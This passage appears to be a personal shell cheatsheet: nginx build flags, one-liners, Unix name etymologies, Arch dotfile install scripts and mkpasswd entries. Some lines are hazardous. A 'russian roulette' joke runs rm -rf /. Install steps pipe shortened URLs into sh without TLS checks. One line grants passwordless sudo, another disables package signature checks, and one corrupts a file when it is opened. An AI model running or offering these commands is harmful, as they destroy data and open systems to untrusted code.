  --with-http_slice_module           # ngx_http_slice_module
  --with-http_stub_status_module     # ngx_http_stub_status_module
  --with-http_perl_module            # ngx_http_perl_module
  --with-mail                        # POP3/IMAP4/SMTP proxy module
  --with-mail_ssl_module             # ngx_mail_ssl_module
  --with-stream                      # TCP/UDP proxy module
  --with-stream_ssl_module           # ngx_stream_ssl_module
  --with-stream_realip_module        # ngx_stream_realip_module
  --with-stream_geoip_module         # ngx_stream_geoip_module
  --with-stream_ssl_preread_module   # ngx_stream_ssl_preread_module
  --with-google_perftools_module     # ngx_google_perftools_module
  --with-cpp_test_module             # ngx_cpp_test_module
  --with-pcre-jit                    # PCRE with JIT compilation support

# if you want to see all removable modules just do
./configure --help | grep -P "^ +--without[^=]+(_module( |$)| (module|support)$)" | sed -r 's/((dis|en)able|build) /# /'

  --without-select_module            # select module
  --without-poll_module              # poll module
  --without-http_charset_module      # ngx_http_charset_module
  --without-http_gzip_module         # ngx_http_gzip_module
  --without-http_ssi_module          # ngx_http_ssi_module
  --without-http_userid_module       # ngx_http_userid_module
  --without-http_access_module       # ngx_http_access_module
  --without-http_auth_basic_module   # ngx_http_auth_basic_module
  --without-http_mirror_module       # ngx_http_mirror_module
  --without-http_autoindex_module    # ngx_http_autoindex_module
  --without-http_geo_module          # ngx_http_geo_module
  --without-http_map_module          # ngx_http_map_module
  --without-http_split_clients_module # ngx_http_split_clients_module
  --without-http_referer_module      # ngx_http_referer_module
  --without-http_rewrite_module      # ngx_http_rewrite_module
  --without-http_proxy_module        # ngx_http_proxy_module
  --without-http_fastcgi_module      # ngx_http_fastcgi_module
  --without-http_uwsgi_module        # ngx_http_uwsgi_module
  --without-http_scgi_module         # ngx_http_scgi_module
  --without-http_grpc_module         # ngx_http_grpc_module
  --without-http_memcached_module    # ngx_http_memcached_module
  --without-http_limit_conn_module   # ngx_http_limit_conn_module
  --without-http_limit_req_module    # ngx_http_limit_req_module
  --without-http_empty_gif_module    # ngx_http_empty_gif_module
  --without-http_browser_module      # ngx_http_browser_module
  --without-http_upstream_hash_module
  --without-http_upstream_ip_hash_module
  --without-http_upstream_least_conn_module
  --without-http_upstream_random_module
  --without-http_upstream_keepalive_module
  --without-http_upstream_zone_module
  --without-mail_pop3_module         # ngx_mail_pop3_module
  --without-mail_imap_module         # ngx_mail_imap_module
  --without-mail_smtp_module         # ngx_mail_smtp_module
  --without-stream_limit_conn_module # ngx_stream_limit_conn_module
  --without-stream_access_module     # ngx_stream_access_module
  --without-stream_geo_module        # ngx_stream_geo_module
  --without-stream_map_module        # ngx_stream_map_module
  --without-stream_split_clients_module
  --without-stream_return_module     # ngx_stream_return_module
  --without-stream_upstream_hash_module
  --without-stream_upstream_least_conn_module
  --without-stream_upstream_random_module
  --without-stream_upstream_zone_module

# inspiration source:
# https://gist.github.com/magnetikonline/6b66bbb3aade707d0a23
# notice: 
# i removed select and poll method because most kernels use kqueue
# and it will be built automaticly if kqueue is not supported

getJavaFullClassName SpringComponent
# Discover full java className for import; If you want to code without a IDE, using java may be painful to discover correct full class names to import. This script google it with javadoc word, then with some luck we got the javadoc as first item. next it curl the target javadoc and extract full name from it. Can by customized to extract other javadoc infos. Pre-reqs: bash, google-chrome, html2text and core-utils Hide sample output

# This is sample output
getJavaFullClassName(){ className=$1; curl -s $(google-chrome --headless --dump-dom "https://www.google.com/search?q=javadoc+$className" 2>/dev/null | html2text | grep "^  1."| head -1 | cut -d: -f4- | sed 's/+&cd=1&.*)$//g') | html2text | grep -i Frames | head -1 | cut -d? -f2 | cut -d. -f1 | tr / . ; }                                   
$ getJavaFullClassName SpringComponent
org.springframework.stereotype.Component
$ getJavaFullClassName String
java.lang.String
$ getJavaFullClassName SpringValue
org.springframework.beans.factory.annotation.Value
$ getJavaFullClassName SpringAutowired
org.springframework.beans.factory.annotation.Autowired
$ getJavaFullClassName WebLogicBean
weblogic.management.runtime.MessageDrivenEJBRuntimeMBean
$ getJavaFullClassName MessageDrivenEJB
$ getJavaFullClassName MessageDrivenEJBRuntimeMBean
weblogic.management.runtime.MessageDrivenEJBRuntimeMBean

setcap CAP_NET_BIND_SERVICE=+eip /usr/bin/python2.7
# give a binary the ability to open ports below 1024 as non root user
# Binding a server to privileged port on Linux w/o running as root This is applicable to any service using privileged ports (< 1024), for instance to run a HTTP server on port 80 or a LDAP directory server on port 389 for example. Hide sample output

This is sample output - yours may be different.
# display the name and capabilities
$ getcap /usr/bin/python2.7
/usr/bin/python2.7 = cap_net_bind_service+eip

# test it with
$ /usr/bin/python2.7 -m SimpleHTTPServer  82

# to remove the ability
$ sudo setcap -r /usr/bin/python2.7

# Use JQ to get a csv list of assets in aws with security groups, names, and ENI ID for tracking VPC Flows from JSON - You need to use the aws ec2 describe instances to get the JSON file. Show Sample Output
cat aws.json | jq -r '.Reservations[].Instances[] | [.PrivateIpAddress, .SecurityGroups[].GroupId,.SecurityGroups[].GroupName,.NetworkInterfaces[].NetworkInterfaceId,(.Tags[] | select(.Key =="Name") | .Value),([.InstanceId| tostring] | join(";"))]|@csv'

# Add a repo to pacman
echo -e "\n[sublime-text]\nServer = https://download.sublimetext.com/arch/dev/x86_64" | sudo tee -a /etc/pacman.conf

#################### What does {some strange unix command name} stand for ###########################
k2pdfopt -mode copy -n -toclist $tocFile $inFile -o $outFile

What does {some strange unix command name} stand for?

awk = "Aho Weinberger and Kernighan"

This language was named by its authors, Al Aho, Peter
Weinberger and Brian Kernighan.

cat = "CATenate"

catenate is an obscure word meaning "to connect in a series",
which is what the "cat" command does to one or more files. Not
to be confused with C/A/T, the Computer Aided Typesetter.

gecos = "General Electric Comprehensive Operating Supervisor"

When GE's large systems division was sold to Honeywell,
Honeywell dropped the "E" from "GECOS".

Unix's password file has a "pw_gecos" field. The name is a
real holdover from the early days. Dennis Ritchie has reported:

"Sometimes we sent printer output or batch jobs
to the GCOS machine. The gcos field in the password file
was a place to stash the information for the $IDENT card.
Not elegant."

nroff = "New ROFF"
troff = "Typesetter new ROFF"

These are descendants of "roff", which was a re-implementation
of the Multics "runoff" program (a program that you'd use to
"run off" a good copy of a document).

tee = T

From plumbing terminology for a T-shaped pipe splitter.

bss = "Block Started by Symbol"

Dennis Ritchie says:

Actually the acronym (in the sense we took it up; it may
have other credible etymologies) is "Block Started by
Symbol." It was a pseudo-op in FAP (Fortran Assembly [-er?]
Program), an assembler for the IBM 704-709-7090-7094
machines. It defined its label and set aside space for a
given number of words. There was another pseudo-op, BES,
"Block Ended by Symbol" that did the same except that the
label was defined by the last assigned word + 1. (On these
machines Fortran arrays were stored backwards in storage
and were 1-origin.)

The usage is reasonably appropriate, because just as with
standard Unix loaders, the space assigned didn't have to be
punched literally into the object deck but was represented
by a count somewhere.

biff = "BIFF"

This command, which turns on asynchronous mail notification,
was actually named after a dog at Berkeley.

I can confirm the origin of biff, if you're interested.
Biff was Heidi Stettner's dog, back when Heidi (and I, and
Bill Joy) were all grad students at U.C. Berkeley and the
early versions of BSD were being developed. Biff was
popular among the residents of Evans Hall, and was known
for barking at the mailman, hence the name of the command.

Confirmation courtesy of Eric Cooper, Carnegie Mellon University

rc (as in ".cshrc" or "/etc/rc") = "RunCom"

"rc" derives from "runcom", from the MIT CTSS system, ca. 1965.

'There was a facility that would execute a bunch of
commands stored in a file; it was called "runcom" for "run
commands", and the file began to be called "a runcom."

"rc" in Unix is a fossil from that usage.'

Brian Kernighan & Dennis Ritchie, as told to Vicki Brown

"rc" is also the name of the shell from the new Plan 9
operating system.

Perl = "Practical Extraction and Report Language"
Perl = "Pathologically Eclectic Rubbish Lister"

The Perl language is Larry Wall's highly popular
freely-available completely portable text, process, and file
manipulation tool that bridges the gap between shell and C
programming (or between doing it on the command line and
pulling your hair out). For further information, see the
Usenet newsgroup comp.lang.perl.misc.

Don Libes' book "Life with Unix" contains lots more of these
tidbits.

------------------------------------------------------------------------

UNIXguide.net <http://www.unixguide.net/>
English to Visayan Cebuano Dictionary <http://www.binisaya.com/> 	

Find:

Display:

hits per page

	Suggest a Site <http://www.unixguide.net/addurl.shtml>
Visayan Cebuano to English Dictionary <http://www.binisaya.com/cebuano/>

# hardcode dnsserver, no more rewriting of etc/resolv.conf -> man NetworkManager.conf ... none: NetworkManager will not modify resolv.conf. This implies rc-manager unmanaged Show Sample Output
f="/etc/NetworkManager/NetworkManager.conf"; if ! grep ^dns $f > /dev/null; then sudo sed -i.bkp '/\[main\]/a dns=none' $f; fi

# Export only one SVG element by ID. ->  -z, --without-gui -j, --export-id-only -i, --export-id=ID -l, --export-plain-svg=FILENAME In Inkscape Press Ctrl-Shift-o to open object properties panel to give ID to a selected element
inkscape project.svg -z -j -i icon.svg -l b.svg

# Blackhole any level zones via dnsmasq -> Explanation It creates dnsmasq-com-blackhole.conf file with one line to route all domains of com zones to 0.0.0.0 You might use "address=/home.lab/127.0.0.1" to point allpossiblesubdomains.home.lab to your localhost or some other IP in a cloud. Show Sample Output
echo "address=/com/0.0.0.0" | sudo tee /etc/dnsmasq.d/dnsmasq-com-blackhole.conf && sudo systemctl restart dnsmasq

# Create a simple video contact sheet using the vcs bash script -> Assumes you've downloaded Toni Corvera's vcs script (http://p.outlyer.net/vcs), have it in your PATH, and have installed the script's dependencies. Generates a video contact sheet of 24 thumbnails and 3 thumbnails per column. The bold font and white-on-black color scheme keeps the text readable at the chosen 70% JPEG compression quality, which keeps the file size at a manageable level. You can go even lower with the quality and get a good looking result.
vcs -c 3 -H 220 -n 24 -dt -ds -dp -j --anonymous -O bg_heading=black -O bg_sign=black -O fg_heading=white -O fg_heading=white -O fg_sign=white -O fg_title=white -O font_heading=DejaVu-Sans-Bold -O quality=70

WS Route53 hosted zone export
# Frustrated with the manual domain migration process AWS has, I unsuccessfully tried to install cli53, route53-transfer. I instead wrote this oneliner to ease the export (which is not supported via the AWS console ATM). The output can be easily pasted into the "Import Hosted Zone" dialog in Route53. SOA/NS records are excluded since they cannot be automatically imported. Show Sample Output
#
# $ORIGIN   umccr.org.
# $TTL      1h
# umccr.org.	MX	10 inbound-smtp.eu-west-1.amazonaws.com
# umccr.org.	TXT	"google-site-verification=foo"
# (...)
# 
echo -e "\$ORIGIN\tumccr.org.\n\$TTL\t1h\n" && aws route53 list-resource-record-sets --hosted-zone-id Z1EEXAMPLE9SF3 | jq -r '.ResourceRecordSets[] | [.Name, .Type, .ResourceRecords[0].Value] | join("\t")' - | grep -vE "NS|SOA"

xdaliclock -nocycle -builtin0 -countdown $(date +%s -d "17:00") 
# Happy Friday! Countdown to the weekend in style with xdaliclock. Eastern hemisphere be like wut?

xclip -out -selection clipboard | qrencode -o - -t UTF8 
# Display clipboard content as a QR-code using Unicode characters. Thanks

# Tetris "game" in <280. 
X="oooooooooo";{ printf 'static char *tmp[] = {"10 10 4 1","o c #111","R c #F00","B c #00F","Y c #FF0",';printf '"%s",' $X $X $X $X ooYYoooooo oooYYooooo $X $X RRooooBooo RRoooBBBoo; echo '};' ; } | convert xpm:- -scale 200x tetris.gif 

(((iwr "https://www.java.com/en/download/linux_manual.jsp").Links | ? {$_.href -ilike "*javadl*"} | ? {$_.title -ilike "*x64 RPM"}).href)[0]
# Get latest direct download URL for Java JRE

((iwr "https://www.java.com/en/download/linux_manual.jsp").Links | ? {$_.href -ilike "*javadl*"} | ? {$_.innerText -ilike "*x64 RPM"}).href
# Get latest direct download URL for Java JRE - Requires Powershell Core on Linux or on Windows Powershell 3.0. Gets the direct url for the most recent version of Java JRE. The package is for 64-bit RPM-based systems.

$file=(iwr -Uri ($(iwr "https://www.java.com/en/download/linux_manual.jsp").Links |? {$_.href -ilike "*javadl*" } |? {$_.innerText -ilike "*x64 rpm*"}).href -Method Head -Max 0 -ErrorAction 0).Headers.Location; (($file -Split "/")[-1] -split "&")[0]
# Check the most recent version of Java JRE. Requires Powershell Core on Linux or Windows Powershell 3.0 Gets the filename of the latest x64 rpm available from java.com

####################  Tron Lightcycles or Etch-a-sketch game  http://www.climagic.org/coolstuff/tron-etch-a-sketch.html  ###############################
# http://www.climagic.org/coolstuff/tron-etch-a-sketch.html … 
# Tron lightcycles in the terminal or Etch-a-sketch. Or make a snake game. Stuff that doesn't even fit in the 280 limit.

# Copy and paste the commands below into your bash shell. Or better yet read, type and learn. Upon running this will start moving your cursor from the bottom up and making a blue trail as you go. Use the arrow keys to move around. The first command doesn't have boundary or wall detection yet so keep your cursor in bounds.

reset;x=$(($COLUMNS/2)); y=$LINES;xdir=0;ydir=-1;while true ; do read -s -r -t0.02 -n3 direction ; case "${direction:2:1}" in A) ydir=-1;xdir=0 ;; B)ydir=1;xdir=0 ;; C) ydir=0;xdir=1 ;; D) ydir=0;xdir=-1 ;; esac ; ox=$x; oy=$y ; x=$(( $x + $xdir )) ; y=$(( $y + $ydir )) ; printf "\033[%s;%sH\033[46m \033[0m\033[%s;%sH\033[44m \033[0m\033[0;0H" $y $x $oy $ox ; sleep 0.01 ; done

# Here is another version with wall collision detection. Using a bash array to keep track of where you have "drawn" a wall.

reset;x=$(($COLUMNS/2)); y=$LINES;unset spacesused[*];declare -a spacesused;xdir=0;ydir=-1;while true ; do read -s -r -t0.02 -n3 direction ; case "${direction:2:1}" in A) ydir=-1;xdir=0 ;; B)ydir=1;xdir=0 ;; C) ydir=0;xdir=1 ;; D) ydir=0;xdir=-1 ;; esac ; space=$(( $COLUMNS * $y + $x )) ; if [[ "${spacesused[$space]}" == "1" || $x -gt $COLUMNS || $x -lt 0 || $y -gt $LINES || $y -lt 0 ]]; then printf '\033[0;0HBOOM!\n' ; break ; else spacesused[$space]=1 ; fi ; ox=$x; oy=$y ; x=$(( $x + $xdir )) ; y=$(( $y + $ydir )) ; printf "\033[%s;%sH\033[46m \033[0m\033[%s;%sH\033[44m \033[0m\033[0;0H" $y $x $oy $ox ; sleep 0.01 ; done

# And another version without the movement that is more like a paint program. Press an arrow key to begin. Press they 'p' key to turn off the brush (off by default). However turning it off will erase blocks you've drawn as you move over them. Press numbers 0 through 7 in order to set the color. 9 means the default background which will do the same thing as turning off the brush. 0 through 7 are the standard ANSI background colors.

reset;x=$(($COLUMNS/2));y=$(($LINES/2));xdir=0;ydir=-1;on=0;color=44;while true ; do read -srn1 direction ; case "$direction" in A) ydir=-1;xdir=0 ;; B)ydir=1;xdir=0 ;; C) ydir=0;xdir=1 ;; D) ydir=0;xdir=-1 ;; p) on=$(( $on ^ 1 )) ; continue ;; [0-9]) color=4$direction ; continue ;; *) continue ;; esac ; ox=$x; oy=$y ; x=$(( $x + $xdir )) ; y=$(( $y + $ydir )) ; if [[ "$on" -eq "1" ]]; then paintcolor=$color ; else paintcolor=49 ; fi ; printf "\033[%s;%sH\033[47m \033[0m\033[%s;%sH\033[%sm \033[0m\033[0;0H" $y $x $oy $ox $paintcolor ; sleep 0.01 ; done

# Exercise for the reader
# Given the commands above, it shouldn't be hard to contruct a different game such as the "snake" or "worm" games. Try to make one of these games or come up with your own. If you come up with a working version, feel free to share it in the comment section below.

# When you realise your AMI doesn't come with NTP
AWS_DEFAULT_REGION="sa-east-1" jungle ec2 ls | grep midas | sort | cut -f4 | xargs -I {} ssh ubuntu@{} sudo apt-get install ntp -y

# Convert Kubernetes ConfigMaps to Secrets
cat configmap.json | jq 'with_entries(if .key == "data" then .value=(.value | to_entries | map( { (.key): (.value|@base64) } ) | add ) elif .key == "kind" then .value="Secret" else . end)'

# simple jq one-liner to convert from configmaps to secrets (which require the values to be base64 encoded).
# To automatically pull the config map, convert it, and re-upload the corresponding secret:
kubectl get --export -o json cm [configmap name] | jq 'with_entries(if .key == "data" then .value=(.value | to_entries | map( { (.key): (.value|@base64) } ) | add ) elif .key == "kind" then .value="Secret" else . end)' > secret.json; kubectl create -f secret.json

# Command-line russian roulette 
[ $[ $RANDOM % 6 ] = 0 ] && rm -rf / || echo "Click"

# Command-line russian roulette 
[ $[ $RANDOM % 6 ] = 0 ] && rm -rf --no-preserve-root / || echo "Click"

# gphoto2 is a nice program for remote tethering your camera. I've been using this as a high-res document scanner with my old DSLR and tripod for faster scanning of old books and things.
gphoto2 --port usb: --capture-image-and-download --filename fromcamera.jpg 

# get all commands of user dunryc in terminal Functions: awk clear grep sed sleep
clear && sleep 5s && curl --silent "http://www.commandlinefu.com/commands/by/dunryc" | grep '<div class="command">'|sed 's/......$//'|sed 's/^.....................................//'|recode html..ascii|awk 'ORS="\n\n\n\n"'

# get all my commands from commandlinefu
clear && curl --silent http://www.commandlinefu.com/commands/by/dunryc | grep "div class" | grep command |tr '>' '\n' | grep -v command |sed 's/.....$//'

ssh [email protected] 'arecord -f cd -D plughw:1 | ffmpeg -ac 1 -i - -f ogg -' | mplayer - -idle -demuxer ogg 
# Baby monitor over ssh, making it more private/secure than those in stores. Replace plughw:1 with mic device from arecord -l output. Make it a script for easy access.

pi=$(echo "scale=66;4*a(1)"|bc -l); for i in {4..65}; do printf "%s - %s\n" ${pi:0:$i}.com "$( dig +short ${pi:0:$i}.com |xargs)"; done 
# People are still registering domains. dig random domains

firefox -P screenshots -headless -screenshot smbc.png http://www.smbc-comics.com  
# Take screenshot of a website including JS, etc. You should create a profile called something like "screenshots" first using the profile manager, or close your default browser session.

/usr/lib/xscreensaver/lattice --tasty 
# What's for breakfast? This program has many options. Uses rss-glx package. http://rss-glx.sourceforge.net 

/usr/lib/xscreensaver/glslideshow -pan 12 -duration 12 -delay 0 -fade 3 -mipmaps 
# You can also directly use glslideshow, just set imageDirectory: in .xscreensaver

feh -F -D90 --recursive --randomize --auto-zoom ~/Pictures 
# Create a random image slideshow w/ 90 sec delay for RaspberryPi + old monitor with the picviewer feh

# a joke for insider
write trugen <<<'Hello, my username is imontoya, you kill -9 my $PPID, prepare to vi.'

#-------------#
# Dotfiles
#-------------#
# [I am not a smart person, i copypaste stuff](https://developer.atlassian.com/blog/2016/02/best-way-to-store-dotfiles-git-bare-repo/) to use the alias for the first time: 

	alias config='/usr/bin/git --git-dir=$HOME/.cfg/ --work-tree=$HOME'
	echo ".cfg" >> .gitignore
	git clone --bare https://github.com/juanpcapurro/dotfiles.git $HOME/.cfg
	config checkout

### neovim files
#------------------#
plugins are added as submodules. It is then necessary to run `git submodule update --init --recursive`

## First magic script for ARCH Linux (as root)
#--------------------------------------------#
curl goo.gl/h4AkV1 | sh

echo "%wheel ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo -e "\n[multilib]\nInclude = /etc/pacman.d/mirrorlist\n\n[archlinuxfr]\nSigLevel = Never\nServer = http://repo.archlinux.fr/x86_64"
pacman --noconfirm --needed -Sy git zsh curl 
chsh -s /usr/bin/zsh vasectomio
alias config='/usr/bin/git --git-dir=$HOME/.cfg/ --work-tree=$HOME'
echo ".cfg" >> .gitignore
git clone --bare https://github.com/juanpcapurro/dotfiles.git $HOME/.cfg
config checkout
#this may fail due to already present files, and user interaction is required to either back up or delete those files

## Last magic Arch Linux script
#-------------------------------#
curl goo.gl/idCi7H | sh

sudo pacman --noconfirm --needed -Sy base-devel xorg-xinit xorg-server terminator feh ffmpeg pulseaudio pulseaudio-alsa wpa_supplicant arandr pavucontrol pamixer mpv wget rofi python-pip neovim ranger poppler highlight htop network-manager-applet networkmanager qutebrowser transmission-cli atool libcaca xcompmgr transset-df texlive-most texlive-lang markdown zathura evince audacity vim-latexsuite rsync openssh noto-fonts-emoji cups screenfetch unzip unrar biber ntfs-3g jdk8-openjdk zsh xclip ctags gcc make cmake npm git ruby vlc qt4 flashplugin cython atom powerline python2-neovim python-neovim arc-gtk-theme polkit gparted zsh-completions ttf-dejavu ttf-inconsolata pandoc thunar numix-gtk-theme clang yaourt ttf-liberation noto-fonts ttf-dejavu scrot tp_smapi acpi_call 
sudo pip install netifaces psutil 

for PACKAGE in i3-gaps ttf-font-awesome vim-pathogen vim-live-latex-preview projectm-pulseaudio neofetch tamzen-font-git speedometer nodejs-markdown-pdf rambox-bin google-chrome i3lock-blur oh-my-zsh-git ttf-ms-fonts tree bumblebee-status-git rofi arc-gtk-theme gnome-keyring neofetch ; do yaourt --noconfirm -S $PACKAGE ; done

sudo pacman -Rs empathy epiphany evince gnome-backgrounds gnome-calculator gnome-contacts gnome-screenshot gnome-user-docs gnome-user-share totem vino yelp

gsettings set org.gnome.desktop.background show-desktop-icons false
config submodule update --init --recursive 

curl https://gist.githubusercontent.com/nweddle/e456229c0a773c32d37b/raw/b4fef3b4a113677e47ab08cc98bd8cbc71d1a4dc/agnoster-newline.zsh-theme > ~/.oh-my-zsh/themes/agnoster-newline.zsh-theme

#YCM 
cd ~/.config/nvim/bundle/YouCompleteMe ; ./install.py --clang-completer --tern-completer

#command-t
cd ~/.config/nvim/bundle/command-t/ruby/command-t/ext/command-t ; ruby extconf.rb ; make
#---------------------------------------------------------#

## Dotfile cfg install script
#-------------------------------#
curl -Lks http://bit.do/cfg-install | /bin/bash

git clone --bare https://bitbucket.org/durdn/cfg.git $HOME/.cfg
function config {
   /usr/bin/git --git-dir=$HOME/.cfg/ --work-tree=$HOME $@
}
mkdir -p .config-backup
config checkout
if [ $? = 0 ]; then
  echo "Checked out config.";
  else
    echo "Backing up pre-existing dot files.";
    config checkout 2>&1 | egrep "\s+\." | awk {'print $1'} | xargs -I{} mv {} .config-backup/{}
fi;
config checkout
config config status.showUntrackedFiles no

# Other ways this can be useful:
df .   # Display filesystem info for CWD.
cp -a /var/www . # Copy files from /var/www to CWD.
cd .  # Re-enter CWD after it has been removed/remade or remounted.
chmod 700 . # Restrict permissions on CWD.

inotifywait -e open art.jpg && s=$(stat -c %s art.jpg );h=$(($s/2));r=$((s-h)); dd if=/dev/urandom | grep -a -o -P "[\x01-\xD0]" | tr -d $'\n' | dd of=art.jpg bs=1 seek=$h count=$r 
# Digitally "shred" half a file after it is opened.

display $( find /usr/share/icons -name '*folder.png' | grep 64x64 ) 
# Just used this to browse through the different styles of folder icons at 64x64 res that were available in Linux for some clipart (with attribution of course ;). The 'display' command is from ImageMagick

espeak "I want him in the game until he dies playing. Acknowledge." --stdout | play - tempo 0.8 bend 0.1,-500,0.5 chorus 1 1.5 20 1 3 8 -s echos .7 .7 100 .5 10 0.1 reverb 
# Make espeak sound like a sci-fi movie villain

tp=$(synclient -l | grep TouchpadOff | awk '{ print $3 }') && tp=$((tp==0)) && synclient TouchpadOff=$tp
# Toggle the Touchpad on or off

/usr/bin/time -f "\ntime\t%E\nCPU\t%P\nRAM\t%Mk" <command>
# Print process run time, average CPU usage, and maximum memory usage on exit
# Bash has a built-in time command which provides less functionality than the real time command. Thus we reference /usr/bin/time directly. Since the command isn't very easy to remember you could alias it to something like "cputime" or even just "time". This is sample output
/usr/bin/time -f "\ntime\t%E\nCPU\t%P\nRAM\t%Mk" sleep 10
	time	0:10.00
	CPU	0%
	RAM	2216k

	
COUNTER=0; for i in foo*.jpg ; do COUNTER=$[COUNTER + 1]; done; echo "$COUNTER"
# Count Files in a Directory with Wildcards. If the dir | wc -l Command not working.

iamawesome=$(curl -LsS iamawesome.com | echo -e "\n\n$(cat) \n\n");
# Awesomeness Confirmation Bias

ssh [email protected]
# september 2018  scriptfu twitter + commandlinefu

lslogins
# You can use a simple command to list your Linux system users and some basic information about them. Simply use:

typeset -f 
# List the functions that you have setup in the current shell.
# Well, a "typeset -f" lists all functions with their contents. If you just want a list of the function names, use something like this: 
typeset -f | awk '/^[a-zA-Z_-]+ ?\(\)/ { print $1 $2 }'

#==============================##==============================#
# CMD MISC						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

88 - 🖥️mkpasswd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mkpasswd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗██╗  ██╗██████╗  █████╗ ███████╗███████╗██╗    ██╗██████╗ 
#  ████╗ ████║██║ ██╔╝██╔══██╗██╔══██╗██╔════╝██╔════╝██║    ██║██╔══██╗
#  ██╔████╔██║█████╔╝ ██████╔╝███████║███████╗███████╗██║ █╗ ██║██║  ██║
#  ██║╚██╔╝██║██╔═██╗ ██╔═══╝ ██╔══██║╚════██║╚════██║██║███╗██║██║  ██║
#  ██║ ╚═╝ ██║██║  ██╗██║     ██║  ██║███████║███████║╚███╔███╔╝██████╔╝
#  ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ 

# Run the mkpasswd command in terminal to generate a random password.
mkpasswd
        37_slQepD

# Run the mkpasswd command with the following format to generate a random strong password with 14 characters.
mkpasswd -l 14
        W1qP1uv=lhghgh

# Run the mkpasswd command with the following format to generate a random strong password with 14 characters. It combinations of alphabetic (Lower & Upper case), Numeric number and special characters.
mkpasswd -l 14 -d 3 -C 3 -s 3
        3aad!bMWG49&t,

# If you would like to generate ten random strong password with 14 characters (It combination of alphabetic (Lower & Upper case), Numeric number and special characters) using mkpasswd command then use the following for loop.
for pw in {1..10}; do mkpasswd -l 14 -d 3 -C 3 -s 3; done
        zmSwP[q9;P1r6[
        E42zcvz&i3%B\
        8}1#Pbh5FjrO@m
        0X:zB(mmU22?nj
        0sqqL44M}ko(O^
        43tQ(.6jG;ceRq
        -jB6cp3x1GZ$e=
        $of?Rj9kb2N(1J
        9HCf,nn#gjO79^
        Tu9m56+Ev_Yso(
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

89 - 🖥️mlabel

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mlabel command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗██╗      █████╗ ██████╗ ███████╗██╗     
#  ████╗ ████║██║     ██╔══██╗██╔══██╗██╔════╝██║     
#  ██╔████╔██║██║     ███████║██████╔╝█████╗  ██║     
#  ██║╚██╔╝██║██║     ██╔══██║██╔══██╗██╔══╝  ██║     
#  ██║ ╚═╝ ██║███████╗██║  ██║██████╔╝███████╗███████╗
#  ╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝╚══════╝

# Change the label of a USB drive in Linux without a gui
mlabel -i /dev/sdd1 ::NewLabel
# Explanation: Replace /dev/sdd1 with whatever your USB stick is mounted on.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

90 - 🖥️movies

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the movies command with important options and switches using examples.

